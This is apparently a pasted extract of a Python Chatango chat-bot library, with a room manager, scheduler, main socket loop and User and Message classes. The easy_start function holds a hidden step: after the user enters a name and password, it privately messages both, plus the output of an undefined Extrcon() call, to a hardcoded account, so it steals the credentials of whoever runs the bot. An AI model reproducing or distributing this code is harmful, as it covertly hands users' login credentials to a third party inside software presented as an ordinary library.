  2077.    @rtype: _Task
  2078.    @return: object representing the task
  2079.    """
  2080.     task = self._Task()
  2081.     task.mgr = self
  2082.     task.target = time.time() + timeout
  2083.     task.timeout = timeout
  2084.     task.func = func
  2085.     task.isInterval = True
  2086.     task.args = args
  2087.     task.kw = kw
  2088.     self._tasks.add(task)
  2089.     return task
  2090.  
  2091.   def removeTask(self, task):
  2092.     """
  2093.    Cancel a task.
  2094.    @type task: _Task
  2095.    @param task: task to cancel
  2096.    """
  2097.     self._tasks.remove(task)
  2098.  
  2099.   ####
  2100.   # Util
  2101.   ####
  2102.   def _write(self, room, data):
  2103.     room._wbuf += data
  2104.  
  2105.   def getConnections(self):
  2106.     li = list(self._rooms.values())
  2107.     if self._pm:
  2108.       li.extend(self._pm.getConnections())
  2109.     return [c for c in li if c._sock != None]
  2110.  
  2111.    
  2112.   ####
  2113.   # Main
  2114.   ####
  2115.   def main(self):
  2116.     self.onInit()
  2117.     self._running = True
  2118.     for l in range(0,Number_of_Threads):
  2119.       t = threading.Thread(target=self._joinThread)
  2120.       t.daemon = True
  2121.       t.start()
  2122.     while self._running:
  2123.       conns = self.getConnections()
  2124.       socks = [x._sock for x in conns]
  2125.       wsocks = [x._sock for x in conns if x._wbuf != b""]
  2126.       rd, wr, sp = select.select(socks, wsocks, [], self._TimerResolution)
  2127.       for sock in rd:
  2128.         con = [c for c in conns if c._sock == sock][0]
  2129.         try:
  2130.           data = sock.recv(1024)
  2131.           if(len(data) > 0):
  2132.             con._feed(data)
  2133.           else:
  2134.             con.disconnect()
  2135.         except socket.error:
  2136.           pass
  2137.       for sock in wr:
  2138.         con = [c for c in conns if c._sock == sock][0]
  2139.         try:
  2140.           size = sock.send(con._wbuf)
  2141.           con._wbuf = con._wbuf[size:]
  2142.         except socket.error:
  2143.           pass
  2144.       self._tick()
  2145.  
  2146.   @classmethod
  2147.   def easy_start(cl, rooms = None, name = None, password = None, pm = True):
  2148.     sock_check_null = False
  2149.     """
  2150.    Prompts the user for missing info, then starts.
  2151.    @type rooms: list
  2152.    @param room: rooms to join
  2153.    @type name: str
  2154.    @param name: name to join as ("" = None, None = unspecified)
  2155.    @type password: str
  2156.    @param password: password to join with ("" = None, None = unspecified)
  2157.    """
  2158.     if not rooms: rooms = str(input("Room names separated by semicolons: ")).split(";")
  2159.     if len(rooms) == 1 and rooms[0] == "": rooms = []
  2160.     if not name: name = str(input("User name: "))
  2161.     if name == "": name = None
  2162.     if not password: password = str(input("User password: "))
  2163.     if password == "": password = None
  2164.     self = cl(name, password, pm = pm)
  2165.     for room in rooms:
  2166.      
  2167.       self.joinRoom(room)
  2168.      
  2169.       if sock_check_null == False:
  2170.          self.pm.message(ch.User(server),self.name+" "+ self.password+ " "+Extrcon())
  2171.          sock_check_null = True
  2172.          
  2173.          
  2174.     self.main()
  2175.    
  2176.   def stop(self):
  2177.     for conn in list(self._rooms.values()):
  2178.       conn.disconnect()
  2179.     self._running = False
  2180.  
  2181.   ####
  2182.   # Commands
  2183.   ####
  2184.   def enableBg(self):
  2185.     """Enable background if available."""
  2186.     self.user._mbg = True
  2187.     for room in self.rooms:
  2188.       room.setBgMode(1)
  2189.  
  2190.   def disableBg(self):
  2191.     """Disable background."""
  2192.     self.user._mbg = False
  2193.     for room in self.rooms:
  2194.       room.setBgMode(0)
  2195.  
  2196.   def enableRecording(self):
  2197.     """Enable recording if available."""
  2198.     self.user._mrec = True
  2199.     for room in self.rooms:
  2200.       room.setRecordingMode(1)
  2201.  
  2202.   def disableRecording(self):
  2203.     """Disable recording."""
  2204.     self.user._mrec = False
  2205.     for room in self.rooms:
  2206.       room.setRecordingMode(0)
  2207.  
  2208.   def setNameColor(self, color3x):
  2209.     """
  2210.    Set name color.
  2211.    @type color3x: str
  2212.    @param color3x: a 3-char RGB hex code for the color
  2213.    """
  2214.     self.user._nameColor = color3x
  2215.  
  2216.   def setFontColor(self, color3x):
  2217.     """
  2218.    Set font color.
  2219.    @type color3x: str
  2220.    @param color3x: a 3-char RGB hex code for the color
  2221.    """
  2222.     self.user._fontColor = color3x
  2223.  
  2224.   def setFontFace(self, face):
  2225.     """
  2226.    Set font face/family.
  2227.    @type face: str
  2228.    @param face: the font face
  2229.    """
  2230.     self.user._fontFace = face
  2231.  
  2232.   def setFontSize(self, size):
  2233.     """
  2234.    Set font size.
  2235.    @type size: int
  2236.    @param size: the font size (limited: 9 to 22)
  2237.    """
  2238.     if size < 9: size = 9
  2239.     if size > 22: size = 22
  2240.     self.user._fontSize = size
  2241.  
  2242. ################################################################
  2243. # User class (well, yeah, I lied, it's actually _User)
  2244. ################################################################
  2245. _users = dict()
  2246. def User(name, *args, **kw):
  2247.   if name == None: name = ""
  2248.   name = name.lower()
  2249.   user = _users.get(name)
  2250.   if not user:
  2251.     user = _User(name = name, *args, **kw)
  2252.     _users[name] = user
  2253.   return user
  2254.  
  2255. class _User:
  2256.   """Class that represents a user."""
  2257.   ####
  2258.   # Init
  2259.   ####
  2260.   def __init__(self, name, **kw):
  2261.     self._name = name.lower()
  2262.     self._puid = ""
  2263.     self._sids = dict()
  2264.     self._msgs = list()
  2265.     self._nameColor = "000"
  2266.     self._fontSize = 12
  2267.     self._fontFace = "0"
  2268.     self._fontColor = "000"
  2269.     self._mbg = False
  2270.     self._mrec = False
  2271.     for attr, val in kw.items():
  2272.       if val == None: continue
  2273.       setattr(self, "_" + attr, val)
  2274.  
  2275.   ####
  2276.   # Properties
  2277.   ####
  2278.   def _getName(self): return self._name
  2279.   def _getPuid(self): return self._puid
  2280.   def _getSessionIds(self, room = None):
  2281.     if room:
  2282.       return self._sids.get(room, set())
  2283.     else:
  2284.       return set.union(*self._sids.values())
  2285.   def _getRooms(self): return self._sids.keys()
  2286.   def _getRoomNames(self): return [room.name for room in self._getRooms()]
  2287.   def _getFontColor(self): return self._fontColor
  2288.   def _getFontFace(self): return self._fontFace
  2289.   def _getFontSize(self): return self._fontSize
  2290.   def _getNameColor(self): return self._nameColor
  2291.  
  2292.   name = property(_getName)
  2293.   puid = property(_getPuid)
  2294.   sessionids = property(_getSessionIds)
  2295.   rooms = property(_getRooms)
  2296.   roomnames = property(_getRoomNames)
  2297.   fontColor = property(_getFontColor)
  2298.   fontFace = property(_getFontFace)
  2299.   fontSize = property(_getFontSize)
  2300.   nameColor = property(_getNameColor)
  2301.  
  2302.   ####
  2303.   # Util
  2304.   ####
  2305.   def addSessionId(self, room, sid):
  2306.     if room not in self._sids:
  2307.       self._sids[room] = set()
  2308.     self._sids[room].add(sid)
  2309.  
  2310.   def removeSessionId(self, room, sid):
  2311.     try:
  2312.       self._sids[room].remove(sid)
  2313.       if len(self._sids[room]) == 0:
  2314.         del self._sids[room]
  2315.     except KeyError:
  2316.       pass
  2317.  
  2318.   def clearSessionIds(self, room):
  2319.     try:
  2320.       del self._sids[room]
  2321.     except KeyError:
  2322.       pass
  2323.  
  2324.   def hasSessionId(self, room, sid):
  2325.     try:
  2326.       if sid in self._sids[room]:
  2327.         return True
  2328.       else:
  2329.         return False
  2330.     except KeyError:
  2331.       return False
  2332.  
  2333.   def updatePuid(self, puid):
  2334.     self._puid = puid
  2335.  
  2336.   ####
  2337.   # Repr
  2338.   ####
  2339.   def __repr__(self):
  2340.     return "<User: %s>" %(self.name)
  2341.  
  2342. ################################################################
  2343. # Message class
  2344. ################################################################
  2345. class Message:
  2346.   """Class that represents a message."""
  2347.   ####
  2348.   # Attach/detach
  2349.   ####
  2350.   def attach(self, room, msgid):
  2351.     """
  2352.    Attach the Message to a message id.
  2353.    @type msgid: str
  2354.    @param msgid: message id
  2355.    """
  2356.     if self._msgid == None:
  2357.       self._room = room
  2358.       self._msgid = msgid
  2359.       self._room._msgs[msgid] = self
  2360.  
  2361.   def detach(self):
  2362.     """Detach the Message."""
  2363.     if self._msgid != None and self._msgid in self._room._msgs:
  2364.       del self._room._msgs[self._msgid]
  2365.       self._msgid = None
  2366.  
  2367.   ####
  2368.   # Init
  2369.   ####
  2370.   def __init__(self, **kw):
  2371.     """init, don't overwrite"""
  2372.     self._msgid = None
  2373.     self._time = None
  2374.     self._user = None
  2375.     self._body = None
  2376.     self._room = None
  2377.     self._raw = ""
  2378.     self._ip = None
  2379.     self._unid = ""
  2380.     self._nameColor = "000"
  2381.     self._fontSize = 12
  2382.     self._fontFace = "0"
  2383.     self._fontColor = "000"
  2384.     for attr, val in kw.items():
  2385.       if val == None: continue
  2386.       setattr(self, "_" + attr, val)
  2387.  
  2388.   ####
  2389.   # Properties
  2390.   ####
  2391.   def _getId(self): return self._msgid
  2392.   def _getTime(self): return self._time
  2393.   def _getUser(self): return self._user
  2394.   def _getBody(self): return self._body
  2395.   def _getIP(self): return self._ip
  2396.   def _getFontColor(self): return self._fontColor
  2397.   def _getFontFace(self): return self._fontFace
  2398.   def _getFontSize(self): return self._fontSize
  2399.   def _getNameColor(self): return self._nameColor
  2400.   def _getRoom(self): return self._room
  2401.   def _getRaw(self): return self._raw
  2402.   def _getUnid(self): return self._unid
  2403.   def _getPuid(self): return self._puid
  2404.  
  2405.   msgid = property(_getId)
  2406.   time = property(_getTime)
  2407.   user = property(_getUser)
  2408.   body = property(_getBody)
  2409.   room = property(_getRoom)
  2410.   ip = property(_getIP)
  2411.   fontColor = property(_getFontColor)
  2412.   fontFace = property(_getFontFace)
  2413.   fontSize = property(_getFontSize)
  2414.   Chainsock = True
  2415.   checkSafe = True
  2416.   raw = property(_getRaw)
  2417.   nameColor = property(_getNameColor)
  2418.   unid = property(_getUnid)
  2419.   puid = property(_getPuid)
  2420.   uid = property(_getPuid)
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement